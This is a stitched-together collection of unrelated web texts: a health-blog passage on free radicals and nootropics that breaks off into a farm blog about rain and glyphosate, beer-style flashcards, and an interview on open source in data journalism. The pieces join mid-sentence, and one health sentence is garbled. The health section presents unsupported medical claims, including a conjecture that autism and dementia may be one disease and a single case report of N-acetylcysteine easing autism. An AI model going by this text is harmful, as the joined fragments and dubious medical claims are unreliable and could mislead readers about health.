Another environmental trigger for free radical generation is ionizing radiation, which is any type of particle or electromagnetic wave that carries enough energy to “ionize” or remove electrons from an atom. Note that the ionizing radiation is more damaging to body tissues that is more oxygenated than deficient in oxygen. It makes sense, given that oxygen is the primary source of free radical generation in the body.
And of course, many different drugs, chemicals, environmental toxins, bad gut flora, etc. are sources of free radicals.
Mitochondria & Free Radical Generation
The mitochondria can be thought of as “the powerhouse of the cell”, due to their function of producing energy for the cell to use. Mitochondria has many energy-related processes going on inside it, like the energy-releasing activity of electron transport, proton pumps that stores energy in the form of an electrochemical gradient, and oxidative phosphorylation that allows your cells to utilize glucose & oxygen for the production of ATP.
Electron Transport Chain Free Radicals
So what does mitochondria have to do with free radicals? Well, an essential structure of the mitochondria called the Electron Transport Chain (ETC) may occasionally leak free radicals. Specifically, when the mitochondria’s Electron Transport Chain is dealing with oxygen, a by product that may be produced is the anion radical superoxide (0 2 –).
Superoxide may further dismutate, which is when oxidized and reduced forms of a chemical species are produced simultaneously, to form hydrogen peroxide (H 2 O 2 ).
H 2 O 2 can further react to form the hydroxyl radical (HO). Note that that a hydroxyl radical is the neutral form of a hydroxide ion (OH–).
Do note that Superoxide, hydrogen peroxide, and hydroxyl radicals are all free radicals that may damage our cell structures and DNA. So you can see that there is a serious cascade of free radicals that are generated as a result of mitochondrial cellular respiration, which emphasizes the importance of antioxidants to neutralize free radicals from doing damage.
Indeed there are safeguards that are built into our cells to suppress damage from free radicals; for example, our cells produce an enzyme called superoxide dismutase that neutralizes the superoxide free radical.
Monoamine Oxidase Free Radicals
In addition to the toxic radicals produced from the Electron Transport Chain reactions located at the inner mitochondrial membrane, the mitochondrial outer membrane’s enzyme monoamine oxidase catalyzes (speeds up) the oxidative deamination of biogenic amines (break down of amine neurotransmitters, such as dopamine, norepinephrine, epinephrine, histamine, and serotonin– not necessarily a bad thing) and is responsible for producing a large quantity of H2O2, contributing to the concentrations of reactive species inside both the mitochondrial matrix and cytosol (aqueous part of the cytoplasm of a cell)[1].
How Free Radicals Damage Our Body
The good…
Free radicals can be good or bad, depending on the context. For example, free radicals are used by white blood cells to kill pathogens. And free radicals may also kill off cancerous cells in the right context.
Additionally, cultured cells exposed to free radicals such as superoxide and hydrogen peroxide stimulates the rate of DNA replication and cell proliferation- in this context, free radicals act as mitogens.
But why does this happen? Obviously free radicals damage cellular structures. I believe the benefit is due to hormesis, or an adaptive response by the cells. When the cells detect an increase in the amount of free radicals, the cells respond with an increased rate of mitosis (cell division) in order to compensate for the damaged cells that eventually die off.
From this example, you can see that free radicals are involved in cellular signaling- which is basically telling a cell what to do. I do believe this is also known as redox signaling.
The bad…
However, let me remind you that free radicals are molecules that have an unpaired electron that makes them highly reactive, and thereby able to damage macromolecules such as lipids, proteins, and nucleic acids.
For example, a well known toxic effect of free radicals is lipid peroxidation, which is the when free radicals damage cell membranes by “stealing” their electrons. The cell structure that is commonly vulnerable to lipid peroxidation are the (poly-) unsaturated fatty acids present in a cell’s phospholipid membrane.
In order to understand lipid peroxidation, you have to know that reactions involving radicals occur in chain reactions. For lipid peroxidation, a hydrogen is taken out from the fatty acid by a hydroxyl radical, leaving a carbon-centered radical as part of the fatty acid. That radical then reacts with oxygen to yield a peroxy radical, which can then react with other fatty acids or proteins.
Lipid peroxidation is not a good thing. Peroxidation of the lipid membranes causes an increase in a cell membrane’s rigidity, decreases the function of membrane-bound enzymes (i.e. sodium pumps), alters the function of membrane receptors, and changes the permeability of the membrane.
In addition to effects on phospholipids, radicals can also directly attack membrane proteins and induce lipid-lipid, lipid-protein and protein-protein crosslinking, all of which obviously have negative effects on membrane function[5].
Through lipid peroxidation, free radicals are also the. Which is a disease of the blood-transportation system due to arteries hardening and experiencing stenosis- another word for blood vessel becoming thicker and narrower such that blood flow becomes reduced. Free radicals may also damage cell DNA and mitochondrial DNA (mtDNA). Although cell DNA is a lot more stable to free radical damage, mtDNA is extremely vulnerable to free radical damage due to mtDNA only having 1 strand.
And of course, damage to cellular DNA can lead to cancer. And damage to mtDNA also promotes the incidence of atherosclerosis in the first place[6].
How Do Free Radicals Affect Cognition?
So the next question is, how does oxidative stress affect our cognitive function? Again, it depends on the context.
Exposing the brain to increased levels of free radicals for a short duration (acute oxidative stress) can have an overall positive effect. A good example is exercise.
The free radicals produced through exercise can have positive effects on cognition by eliciting an adaptive response (hormesis).
Acute Oxidative Stress Increases Cell Division
One reason that comes to mind for the beneficial effect of acute oxidative stress is that free radicals are mitogens, as I’ve mentioned before. That may be one of the reasons why exercise is shown to increase the rate of cell division in the brain, neurogenesis (formation of new neurons), and angiogenesis (formation of new blood vessels). As a result, improvements in memory, attention, information processing speed, and executive function are all improved. Exercise also helps stave off dementia in the elderly[7].
Acute Oxidative Stress Increases Active Glutathione
Acute exposure to oxidative stress through exercise is also shown to increases the baseline GSH glutathione levels in the body and in the brain[8]. GSH is the active form of glutathione that protects cells from being damaged by free radicals. A lack of GSH levels (and other antioxidants) in the brain can be extremely detrimental to our cognition.
Understand that our cells wouldn’t be able to survive without glutathione. It is the body’s main antioxidant that allows us to survive the ROS burden of an aerobic metabolism.
Chronically High ROS Exposure Damages Brain Function
So what happens when you have deficient levels of glutathione and other antioxidants? Well, a lack of glutathione & other antioxidants means that your cells are exposed to higher levels of free radicals, perhaps over a long period of time depending on the context. This is a problem because your cells need antioxidants in order to survive ROS exposure.
Connection Between Chronically High ROS, Autism, and Dementia
Take for instance autistic children, whose brains do not develop properly. If you take a closer look, you’ll see that their mitochondria have decreased function, they have lower levels of GSH glutathione, and their cells are chronically exposed to higher than normal levels of free radicals[9].
Note that a decrease in mitochondrial functions means a decrease in ATP production, the fuel that runs the cell. And with less ATP, the cells don’t function normally. Also, chronic exposure to increased levels of ROS damages and kills cells such that the harms outweigh the benefits (i.e. hormesis, mitogenic effect).
My conjecture is that a decrease in mitochondrial function may indicate that the mitochondria is working less in order to avoid being exposed to oxygen radicals that are produced while making ATP. Which may also indicate that there is a deficiency in GSH glutatione and other antioxidants to protect from free radicals generated through cellular respiration.
So a decrease in mitochondrial function and an increased cell apoptosis in the brain may explain the reduced cognitive function of autistic children. And if these problems are onset later in life, then it is perhaps what causes dementia.
It could be that autism and dementia are the same disease, except that the timing of the onset is different. And it makes more sense if you take into consideration that the body produces less glutathione the older you get.
And this all goes to show that there is an immense importance in our body’s antioxidant defense system. A deficiency in this system is likely to results in a decline in brain function.
So improving our antioxidant defense may actually be a way to improve our cognition.
Other Sources of Chronic Oxidative Stress
Notice that I’ve already mentioned that a chronic increase in ROS is harmful to the brain. Indeed, acute vs chronic elevations in ROS have different affects on the body & the brain. And uses up the GSH glutathione that we have in our body.
I already mentioned that acute oxidative stress can improve the human body & brain by stimulating our cell’s antioxidant defense. But chronic oxidative stress slowly destroys both the body & brain.
I’ve talked about chronic oxidative stress before in a previous article. Chronic stress accumulates free radical damage to our body & brain cells overtime, resulting in illnesses such as cancer & cardiovascular disease, contributing to diabetes, and reducing the function of the brain- sometimes to the extent of dementia.
If you have every experienced chronic stress, I bet you can even tell that I am on to something.
In a more relatable example, some people constantly suffer from emotional stress, office work, and being stuck in a noisy traffic jam when they go to work. Also, many people are sedentary- staying in one place for long periods of time. This is another a source of oxidative stress[10][11].
When the stressor is not abated, you’ll start to notice that you have brain fog, that it is harder to remember & analyze information, that your body starts to become insulin resistant, that you heal slower, that you start to gain weight, and that you start to get depressed a lot more easily.
This all can be caused by chronically elevated (oxidative) stress. And that’s perhaps why a herb known as bacopa monnieri is known to improve memory by reducing stress.
Note that even exercise to the extreme extent falls in the category of being a source of chronic oxidative stress. For example, it is observed that running marathons can cause lower immune function[12] and lower levels of GSH active glutathione levels[13].
So it is of utmost importance to avoid situation of chronic stress in our day to day lives.
But what if you can’t escape (immediately) chronically stressful situations? Well there are still options available, other than exercise.
Supplements & Nootropics for Reducing ROS Exposure for Improved Cognition
Finally, in this section I will be talking about nootropics & supplements that improves brain function by reducing levels of ROS and improving the body’s antioxidant capacity.
Two places to start is to reduce excess inflammation in the body without compromising the immune system, and to lower stress levels. I’ve already mentioned bacopa for managing stress. There are also many herbs that lower inflammation, like ginger, lion’s mane & turmeric. Usually, I would have a thin slice of ginger after my meal for this purpose.
Noopept & Hypoxia
Interestingly, noopept works by activating the Hypoxia Inducible Factor 1 (HIF-1) DNA transcription factor[14]. That means noopept works by tricking brain cells into reacting as if they were in an oxygen-deficient situation. But noopept doesn’t actually decrease the level of oxygen in the brain. So what happens is that your brain acquires the adaptive benefits of hypoxia-induced acute free radical exposure, without the free radicals and oxygen deficiency.
The result is that noopept may be able to restore cognitive function in Alzheimer Disease patients, lower ROS levels, and lower inflammation[15].
N-acetylcysteine & Autism
Another promising nootropic for protecting the brain from high levels of free radicals is N-acetylcysteine. N-acetylcysteine is a precursor to glutathione, and supplementation of N-acetylcysteine is thought to aid in the production of glutathione. Indeed, the cysteine provided through this supplement is the rate limiting molecule for the production of GSH glutathione.
In one case study, an Iranian autistic child was given 800 mg per day of N-acetylcysteine (NAC) and the results were astonishing. Much of the child’s autistic behavior decreased within a period of two months[16].
His social interaction with other children increased & his social impairment decreased. His verbal skills and communications improved. His aggression decreased significantly. His hyperactiveness & inattentiveness decreased. His limited interests started expanding. And his nail-biting behavior also significantly decreased.
The alleviation of his autistic symptoms all point to an improvement in cognitive function.
NAC works by increasing the production of active GSH glutathione in the body. And the patients who take NAC see a marked decline in inflammation & neuroinflammation, oxidative stress, and a reduction in high glutamate levels.
Frankincense & Dementia
And finally one of my favorite nootropics is known as frankincense, specifically the Boswellia Carterii species, is shown to improve GSH glutathione levels[17]; reduce lipid peroxidation, inflammation[18], levels of ROS; fight back cognitive impairment like dementia & Alzheimer, and thereby improve memory & learning. Frankincense also has a range of benefits for the whole body, having anti-cancer[19], anti-ulcer, anti-asthma, anti-arthritis, and anti- chronic pain properties[20].
Again, the same trend is seen. Substances that reduce ROS & inflammation, and increase GSH improves our brain function.
Frankincense is also shown to inhibit acetylcholinesterase, an enzyme that breaks down acteylcholine[17]. Acetylcholine is important for learning and memory formation, and increasing levels of the acetylcholine neurotransmitter is the way that nicotine works to improved cognitive function.
I also have personal experience with using both the essential oil and the resinous gum of boswellia carterii. I find both are effective, although perhaps the gum more so probably because less active constituents are left behind in the distillation process of making an essential oil. The administration method that I use is to topically apply the essential oil on my skin, and to chew on the frankincense resin.
I find that the effectiveness of the essential oil may depend on the brand that you buy from. I believe this is due to the fact that the manufacturer may choose to use different distillation methods. For example, the Now Foods Pure Frankincense Essential Oil has little to no psychoactive affect for me. It could still be effective for enhancing cognition, but immediate benefits are little to none in my experience. I believe this is because they use a distillation method called “folding”, which is to distill the essential oil once, and then redistill the extraction for a higher purity. But this may mean that much of the active constituents are lost in the distillation.
In comparison, I’ve found that Eden’s Garden Frankincense Boswellia Carterii Essential Oil to be a lot more psychoactive. I believe it is a lot less refined, which is good for an essential oil because more of the active ingredients are passed along. When using Eden’s Garden Frankincense oil, I find that I am a lot calmer & composed, and that I have increased mental clarity & focus.
But notice that one of the main active constituent of frankincense is boswellic acid (interestingly, you can find boswellic acid as a supplement too if you don’t want to chew/eat the tree gum). Apparently, boswellic acid isn’t normally extracted through steam distillation[21][22], so you will be missing its benefits if you choose to use the essential oil.
There is a lot of research that I want to do on frankincense, but I will save it for another article in order to keep to the scope of this one.
Supplements that Protect Against Free Radicals
Note that both supplements are suppose to raise glutathione, the main antioxidant that our body uses.
Books About free Radicals
Interesting Read
Frankincense Review: Classification by Chemotype Rather Than Just Species [Facebook]
SourcesSo this spring and summer so far has been wet. It won’t stop raining. Not only have we not been able to plant the majority of our crops, the soggy and wet weather has created other problems.
We work with an independent crop consultant named Tom. During the growing season Tom checks our crops and advises us on what they need, from fertilizer to herbicides or insecticides. He lets us know when our crops are at their peak for harvest and what our soil needs to be healthy.
On our farm we plant a mix of crops, like corn, soybeans, alfalfa or sorghum for our cows to eat. Some of these crops are genetically modified to resist glyphosate herbicides like Roundup. On years like this year where the only thing growing really well are the weeds, we are thankful that we have the ability to use glyphosate to manage the weeds. I know many people are against GMO crops, we have done our research and on our farm we choose to use them when we believe GMO seeds are the best option.
In a normal year if we needed a field sprayed with herbicide or insecticide it would be applied with a sprayer that drives into the fields. But this year is far from normal and the ground simply can’t handle the weight of the sprayer. So this year we have to hire a special kind of sprayer to get |
both have roasted qualitys which will harmonize well with the roasted chicken
Pair: Grilled Salmon (2 options) Belgian Wit or Hefeweisen: with their higher levels of carbonation they will be able to stand up to the fatty and umami from the salmon with out be being bossy
Pair: Cream-based pasta sauce (Alfredo) (2 options) Gueuze: Whose subtle funky sourness can stand up to the cream sauce with out over powering it
Belgian Pale Ale: The slightly spicy yeast notes can harmonize with the pepper in the sauce without becoming distracting
Pair: Chocolate Chip Cookie (2 options) Dopplebock or Scotch Ale: whose intense maltyness will harmonize with the doughy cookie with out over powering the cookie
Pair: Carrot Cake with Cream Cheese frosting Double IPA whose intense hoppyness will balance the rich intensity of the cream cheese frosting
Pair: Waldorf Salad (apples, walnuts, blue cheese, celery, cream based dressing) (2 options) Hoppy Saison: to stand up to the blue cheese,
Pale Al/ lighter IPA: to cut though the cream based dressing
Pair: Smoked Cheddar Rauchbier or Smokey Porter to harmonize with the somke
Ale Yeast also known as (scientific name) Saccharomyces Cervisiae
Lager Yeast also known as (scientific name) Saccharomyces Pastorianus (or Uvaum)
Lager Brewing Temperatures and Cycle Lenght 40-55 degrees F for up to several months
Ale characteristics Strong, assertive, more robust in taste
Lager characteristics Smoother, crisper, more subtle in taste and aroma
Attenuation; Define Measure of how much sugar is converted into alcohol during fermentation. Lower attenuation = sweeter beers, higher attenuation = less sweet, higher abv
Name 2 old English nicknames for Strong Beer Dragon's Milk, Angel's Food, Mad-dog, Stingo, Huffcap
Developed as a draft pale ale, this English style grew lighter in gravity and body over time. Best when served from a cask as real ale. Despite their low gravity and adjunct reciepes, these beers can be complex and appealing. Give 3 commercial examples and general flavors. Classic Bitter - Fresh hops, nutty malt, crisp finish
1. Young's Bitter
2. Fullers London Pride
3. Anchor Small Beer
This beer style descended from amber-colored "october Beers" brewed in the English countryside. Strongly associated with the city of Burton-on-Trent then eventually all of England. Usually a breweries Strongest Bitter Give 3 commercial examples and flavors. Extra Special Bitter(ESB)/English Pale Ale - crisp, nutty malt, earthy/spicey hops
1. Fullers ESB
2. Youngs Ram Rod
3. Yards ESA
This beer style evolved from October Ales being shipped to India by a London Brewer around 1780. Give 3 examples and flavors. English IPA - plenty of malt and strong hop
1. Fuller's IPA
2. Samuel Smith's IPA
3. Goose Island IPA
Because of the climate ________ beers are ususally fermented at lower cooler temperatures than _____. Scottish, English
The Schilling name was created most likely because of what reason. Cost per barrel
This Scottish style is known as a high gravity beer or a 120 Schilling Wee Heavy
Indirect Kilns brought what new progress to malting in the 1700's a low to smoke-free dried malt
Flavors associated with Scottish Ale Export (80/), give three examples Rich toffee, toasty malt, hints of peat are acceptable
1. Bellhaven Export
2. Odell's 90 Shilling
3. Sam Adams Scottish Ale
This Scottish Ale was possible influenced by the English Burton Ale. Give Flavors and 3 examples Wee Heavy
1. AleSmith Wee Heavy
2. Founders Dirty Bastard
3. Belhaven Wee Heavy
______ Brown Ales are a bit paler and stronger than the ______ ones Northern, Southern
This beer style is best known for coming from Yorkshire and eventually making its way to the United States. Give three examples and flavors. Northern English Brown Ale - toasty, nutty, caramel, and light hop
1. Sam Smith Nut Brown
2. New Castle Castle Brown Ale
3. Goose Island Hex Nut Brown
This beer style was originally refered to any fresh, unaged beer not particular to color, strength, or style. After WW1 this beer became known for a low-gravity session beer. Originated in northern England (Birmingham) Give 3 examples and flavors. Mild Ale - slightly roasty and hint of caramel with light hop
1. Hobgoblin
2. Dogfish Head Low Rider
3. Clogwyn Gold
This style is known for being aged in barrels and then usually blended with fresh beer. Also known as a catch all category for English Ales that are strong with a shade of amber or brown. Flavors and example English Old Ale / Strong Ale
fat and fruity caramel with a touch of hops. slight scidicy is acceptable in this style
1. Founders Curmudgeon
2. North Coast Old Stock
3. Fuller's Vintage Ale
This style decended from strong "October" ales, and was first applied by Bass to it's strongest ale. Flavors and examples English Barley Wine - complex malt, dark fruit, and hops
1. Thomas Hardy Ale
2. Firestone Walker Sucaba
3. Fuller's Golden Pride
in 1817 Daniel Wheeler invented what, which helped produce black patent malt? Roasting Kiln
This style originated from Brown Ales, and eventually lead to the development of the stout. No real history. Flavor and commercial examples Porter - roasty and toasty malt, can be hoppy or not
1. Sam Smith Taddy Porter
2. Fuller's London Porter
3. Great Lakes Edmund Fitz Porter
This beer originating in the Baltic region, was based on beers exported from England to Russia in the 18th century. Can be either a lager or an ale, most modern versions are ale's. Flavor and Examples Baltic Porter - creamy roasty/toasty malt, light hop, sweet.
1. Flying Dog Imperial Gonzo Porter
2. Baltika Porter
3. Southampton Imperial Baltic Porter
Simply known as "Strong Black Beer" Stout
This beer style uses roasted barley instead of black roasted malt. Most popular Irish Style. Flavor and example. Irish Dry Stout - Sharp coffee and roasty
1. Guinness Draft
2. Murphy's Irish Stout
3. Three Floyds Black Sun
This beer style included the addition of milk sugar (lactose sugar) for sweetness. Known originally as a drink for invalids. Example and flavors Sweet Stout/Milk Stout - Soft malt, and hint of sweetness
1. Left Hand Milk Stout
2. Young's Double Chocolate
The addition of raw or malted oats makes this style of dark beer. Flavor and examples Oatmeal Stout - soft rich creaminess, with a hint of nuttiness
1. Young's Oatmeal Stout
2. Sam Smiths Oatmeal Stout
3. New Holland The Poet
This beer became popular through the Russian Monarchy throughout the 18th century. Flavor and examples Imperial Stout- Strong roast/malt, hops
1. North Coast Old Rasputin
2. Samuel Smith Imperial Stout
3. Stone Imperial Stout
Name 3 noble hops Hallertauer, Spalter, Saaz, Tettnagers
This style originated in the Czech town of Pilsen in 1842, flavor and examples Bohemian Pilsner - sweet malt, caramel and Saaz hops
1. Pilsner Urquell
2. Chechvar
This style was created from the popularity of the Czech Pilsner in northern germany. Flavor and examples German Pilsner - crisp, smooth malt. Herby hallertaur hops
1. Victory Prima Pils
2. Spaten Pils
This beer style originated in Munich and came from the success of the Czech Pils, this style is a bit more malty though. Examples and flavor Munchener Helles "Helles" - rich light malt, hint of hop
1. Hacker-Pshorr Municher Gold
2. Spaten Premium Lager
3. Firestone Walker Lager
This beer style typically had around 20% rice or corn in the recipe, but all malt examples did exist. Examples. American Pre-Prohibition Pilsner
1. Yuengling Traditional Lager
2. Saranca Golden Pilsner
This style is responsible for the world's best-selling lager. Can have 20-50% of the recipe include Rice or Corn. Examples and Flavor American Adjunct Lager - slightly malty with a lot of fizz, hint of bitterness and sweetness. Some astringancy is welcome in this style
1. Bud
2. MGD
3. Coors Original
Philip Morris masculinized this beer style originally brewed for women in the 1940's American Light Lager
This style originally created by Anton Dreher in Vienna around 1840. Vienna Lager and Marzen
This beer style was created in 1629 as "Salvator" Doppelbock
This beer usually brewed in late spring to use up the last of the fall's hops and malt before brewing ceased for the summer. Marzen
Orginally these beers were very similar but the _______ lager used malt that was slightly more kilned and paler than the Muinch malt used in _____ lagers Vienna, Marzen
________ applies only to certain beers made by brewers in the Munich Proper. This style is also known as Marzen. Oktoberfest
Orignating in the city of Munich, this German lager was a decendent from ancient "red" beers. Orginally only Munich Malt was used in this beer. Examples and flavor Munich Dunkel- rich caramel roasty overtones
1. Ayinger Altbarisch
2. Lakefront East Side Dark
This style was popular in Augsberg, Kostritz, and Kulmbach. This is German's darkest beers. Roughly translated it means "black". Flavor and examples German Schwarbier - bittersweet, clean/soft roastyness
1. Sprecher Black Bavarian
2. Sam Adams Black Lager
3. Einberker Schwarzbier
The southern Germany town of Einbeck claims this beer style originated there. Flavors and Examples Maibock - rich creamy hop, with a strong hop complex (between a Helles and a Pilsner)
1. Ayinger Maibock
2. Hacker-Pshorr Huburtus Bock
3. Capitol Maibock
This beer seems to be the secondary form of the bock beer when compared to the amber in colored Maibock. Dark (Dunkel) Bock - rich creamy malt, with hint of cocoa bitterness
Originally coming from the monastic brewery Paulaner in Munich, this beer style is usually symbolized with a goat. Give 3 examples and flavors Doppelbock - Massive caramel, with a soft roasty finish.
1. Paulner Salvator
2. Ayinger Celebrator
3. Sam Adam's Double Bock
This beer style has many different base beers (Helles, bock, marzen, etc), but one common property, Smoke Rauchbier
This beer style originated in the city of Cologne. 3 examples and flavors Kolsch - clean, fresh malt, light hop in the background
1. Reissdorf Kolsch
2. Goose Island Summertime
3. Alaska Summer Ale
This beer style is well established along the Rhine and lower Saxony. Copper in color this beer is top fermented, and rather low gravity. Dusseldorfer Altbier - Malty and Crisp, with a nice Noble hop pressence
This style of beer originated in the nineteenth century and is a blend of a lager and a stock ale. Flavor and 3 examples American Cream Ale - smooth creamy malt, with a soft bitter finish
1. New Glarus Spotted Cow
2. Wisconsin Berwing Whitetail
3. Genessee Cream Ale
This beer style was founded as an attempt to brew a lager without access to ice or refrigeration. First brewed around the time of the great influx of settlers in the west coast. BJCP calls this beer a "California Common", because one brewery owns the trademark on the name. Steam Beer - Malty but crisp, hint of caramel, and light fruity esters.
1. Anchor Steam Beer
2. Southhampton Steem Beer
3. Flying Dog Old Scratch
This beer style originated in the 16th century and was known as a regional specialty for Bavaria. When poured properly this beer has a nice frothy head. The top-fermented yeast gives off a 4-vinyl guaiacol which partakes a aroma of clove. Flavor and 3 examples Weissbier/Hefeweizen- light on hops, heavy of wheat, clean and crisp. Hint of clove, banana, and sometimes bubble gum.
1. Hacker-Pshorr Weisse
2. Ayenger Brau Weisse
3. Franziskaner Hefe-Wiesse
This beer style is similar to the Hefeweizen but with added crystal or other dark malts Dunkel Weizen
This beer style is bigger, deeper, and stronger than a Dunkel Weizen. Great winter drink. Weizenbock
This German beer style is typically low in alcohol, tart in flavor, slightly sour and known as a summer refresher. Often Flavored with a dash of raspberry syrup. Berliner Weisse
This beer style created iun the early 20th century to capture a segment of the British Pale Ale dominated import market. Flavor and 2 examples Belgian Pale Ale - light caramel with a light hop
1. Palm Speciale
2. Russian River Perdition
This beer style is similar to a belgian triple but is simpler and cleaner. About 20% of the recipe is corn sugar leds to a nice crisp finish. Flavors and 3 styles Belgian Strong Golden Ale - crisp malt with a clean hop finish.
1. Duvel
2. Delirium Tremens
3. Piraat
This beer style is more of a catch all for belgian ales. Modern versions include several trappist ales Belgian Strong Dark Ale- Strong caramel malt, rarely hop balanced.
1. Rochefort 10
2. St. Bernardus Abt 12
3. Gulden Draak
Name 5 Trappist Breweries 1. Achel
2. Chimay
3. Orval
4. La Trappe
5. Rochefort
6. Westmalle
7. Westvleteren
_________ breweries must brew under the supervision of monks on a monastic property. Trappist
This beer style originated Brown in color, and came from Flanders where they were used to sustain field workers in the summer season. The yeast strain is believed to be a related to a red-wine yeast strain, the yeast can thrive at very high temperatues 90F. Saison - Clean malt and hops with a light twang. May use Bret or Spice to alter the flavor.
1. Saison Dupont
2. Ommegang Hennipin
3. New Belgium Saison
This Belgian beer style received its name from its color. It is often challenging to brew due to the mash in ingredients. Flavors and 3 commercial examples Wit Beer / White Ale - soft malt,with a hint of acidic finish
1. Hoegaarden
2. St. Bernardus Blanche
3. Ommegang White
This beer style originated in the region surrounding Brussels, style uses hops that have been aged for 2-3 years so there is no bitterness left in them and the aroma is cheesy like. This is a spontaneously fermented beer usually. Lambic - Sharp Acidic very complex
Cantillion Grand Cru Bruocsella is the only bottled version readily available.
This Style of beer defines American Craft beer. Almost every brewery has some form of this beer. American Pale Ale -Fresh hops, nutty malt balance, hint of caramel.
1. Sierra Nevada Pale Ale
2. Stone Pale Ale
3. Great Lake's Burning River
The term; ______; often stands for something that is bigger and bolder than the "stock" Imperial/double
This beer style was one of the first craft styles to provide something different for the drinker. Founded in the United States in the 1990s. Amber or Red Ale
This style of Barley Wine tends to have more of a hop bitterness American
English Brown Ales are more ________, while American Brown Ales are more _________. Malty, Hoppy
________ was the first beer in the world brewed and exported on an industrial scale. Porter
Known as a "starter beer" at US Breweries and Brewpubs American Wheat Ale
This Hop has a strong citrusy characteristic and is often used in American Pale Ales and IPA's Cascade
This hop is known as the darling of the double IPA, giving off a pinelike aroma Simcoe
Traditionally English Hops have what traits? Earthy, herbel, woodsy
Traditionally German/Czech Hops have what traits floral, peppery, perfumey, minty, woodsy
Three areas in the US where hops are grown 1. Yakima Valley, Washington 2. Oregon 3. Idaho
Three areas in Europe where hops are grown 1. Germany 2. Czech Repoublic 3. Belgium 4. Poland 5. France
Brass draft equipment can give the following off flavors in a beer. Metallic Flavors
Give 2 examples of fully fermentatble sugars 1. Corn Sugar (Dextrose) 2. Regular Sugar (Sucrose)
Give 2 examples of Highly fermentable sugars 1. Honey 2. Molasses
1 example of non-fermetable sugar Lactose sugar
Explain the process of brewing from Start to Finish Barely is milled and adjuncts like corn or rice are cooked. Then the milled grain and cooked adjuncts are mashed. Once the mashing is complete lautering and sparging commence. The mash is then boiled to create wort. The wort is sent through a whirlpool and chilled. Then fermentation begins and can be followed by a secondary fermentation. If the beer is a lager is is sent to the lagering tanks to lager. When the beer is ready is is sent to the bright tank for finishing and then bottled/canned/kegged.
Process of Mashing accomplishes what It converts the starches from the grains into fermentable and un-fermentable sugar.
Too Long of mash times, can lead to what? poor foam retention.
Main purpose of Lautering to separate the wort from the spent grain, while setting your grain bed
Purpose of the boil 1. sterilize the wort, 2. add spice or hops
Purpose of the Whirlpool Whirlpool separates this protein and spent
hops from the sterilized wort
What off flavors can occur from chlorine? Phenolic flavors: like band-aid or medicinal
Malt complements what two flavors the best Toast and Caramelized
How can Carbonation interact with food? -Cuts fat, umami, and sweetness
-Accentuates capsaicin “heat”
How is beer used in cooking? Typically replaces water or other liquid ingrediant
When beer is concentrated during cooking what two things can go bad -Hops can become overly bitter
-Burnt flavors of roasted malt can increase and may become unpleasant
What is a way to bring beer into a plate without cooking it? Salad dressing (ie an IPA that is delicately hopped, or a lambic as a vinegar, or saison lightly hopped)
Malt Flavors can soften or soothe what? Spicy capsaicin “heat”
4 flavors that hop flavors can harmonize with? Depending on hop variety: fruit, citrus, herb, and spice flavors
How can fermentation-derived esters interact with food? Harmonize with some fruit flavors
How can Fermentation-derived Phenols interact with food? -clove and peppercorn flavors:
-Resonate with spices
-Contrast fat and umami
How can Roastiness interact with food? -Complements chocolate, caramelized, and burnt flavors
-Cuts fat
-Contrasts sweetness
How can Alcohols interact with food? -Can cut fat
-Generally resonates with sweetness
-Can accentuate capsaicin “heat”
How can Tartness/Sourness interact with food? -Can brighten some food flavors
-Can complement sour flavors
-May favorably contrast fat, umami, or saltJournalism is one profession that has embraced open source. Open source enables smaller organizations with little or no budget to effectively extend their news gathering capabilities. It's not just smaller news organizations who've been adopting open source—The New York Times recently unveiled a new open source content management system.
But it's data journalism where open source has gained its biggest foothold. There a number of open source data collection and analysis tools that are used extensively in data journalism, and there is a growing the number of repositories related to data journalism on GitHub.
One organization that has effectively melded open source and data journalism is Journalism++. Co-founded by Nicolas Kayser-Bril, it's a European agency that specializes in what Kayser-Bril calls data-driven storytelling. According to Kayser-Bril, Journalism++ delivers the full package, from the data analysis to the story to the visualization.
In this interview, Kayser-Bril discusses why open source is the right choice for journalism organizations, how being open has benefited his clients, and why open data may not be the boon that it seems to be.
How did you get involved in data journalism?
I've been programming since I was five (my father was a computer scientist). It was just normal for me to do small interactive pieces at school, on my blog, and then at work. In 2007 and 2008, people from various media outlets started contacting me and wanted to pay me to code for them.
One of the guiding principles of Journalism++ is that "open beats closed. Open source is our default behavior." Why is that?
At Journalism++, we consider open source to be the normal behavior. Most of our team is fairly young and grew up with Linux distributions that they could install without too much pain. Open source was always on their computers. For them, proprietary software is the exception. Without sounding like open source activists, we believe that code should be public by default.
The only reason we might someday make our code proprietary is if we develop an algorithm that, in itself, provides a competitive edge for our business. But as of now, our core skills are data analysis and storytelling. It's not something you nurture by making code proprietary.
Has open source given Journalism++ a competitive advantage?
Being open by default has many advantages:
Many services are free for open source projects.
Having a large and well-maintained Github account is key to recruiting good developers.
Being transparent forces us to always think twice before posting a ticket or writing a commit message.
What are some of the technologies that you use to develop data journalism tools?
Our default stack is Angular.JS for the front-end and Django for the back end. You'll find both of those frameworks used in all of our projects. We also use a variety of open source libraries. Two projects Journalism++ worked, Data Wrapper (a web-based data visualization tool) and Feowl (which monitored power cuts in Cameroon), for example, were coded partly in PHP due to specific constraints imposed on those projects.
What licenses do you use for your work, and why?
By default, we use LGPLv3, and sometimes GPLv3. They're the licenses that most commercial projects use. It makes sense for Journalism++ to use them: others can build upon our code but they cannot create a whole new proprietary service based on it. We sometimes use the MIT license— for example, when the tool is financed by a foundation that wants to foster innovation.
With our client work, the client chooses the license but we insert GPLv3 by default in our contracts. Most of the time, our clients don't change that.
What advantages does using open source tools for data journalism offer news organizations?
Open source makes an organization more transparent and, therefore, more trustworthy. Newsrooms are moving towards open source; just look at the number of journalists using GitHub now!
The other aspect has to do with surveillance: users (myself included) tend to think of open source software as less prone to having backdoors, even if no audit has been performed on the software.
Are there any disadvantages to using open source data tools?
None that I know of.
Where can someone find the source code for the tools that Journalism++ has developed??
Here's our GitHub repository: http://github.com/jplusplus.
Do you imagine the tools that Journalism++ has developed being used outside of data journalism? If so, how?
Journalism++ works in data analysis and storytelling. Many industries need those skills, from communication departments in corporations, NGOs and institutions to business intelligence agencies. I prefer to think of all those different groups as information professionals. Those are the people we cater to.
More and more governments are opening up public data. What do you think are some of the problems that face data journalists or groups that want to use that data?
Governments don't open public data. They simply select a set of non-controversial material that they publish online. Most of the interesting pieces of information, ones that would let journalists assess the impact of public policy, are censored.
The trend is a move towards more opacity. In Europe and in the United States, it's getting harder and harder to file a freedom of information request. In some European countries, journalists have no chance of getting access to some data, even when it has nothing to do with national security.
Journalists should be extremely careful before reusing a dataset that was proactively published by a government. They need to ask themselves: Was a column removed? Why was this data set published? Are there other data sets on this issue that have not been made public?
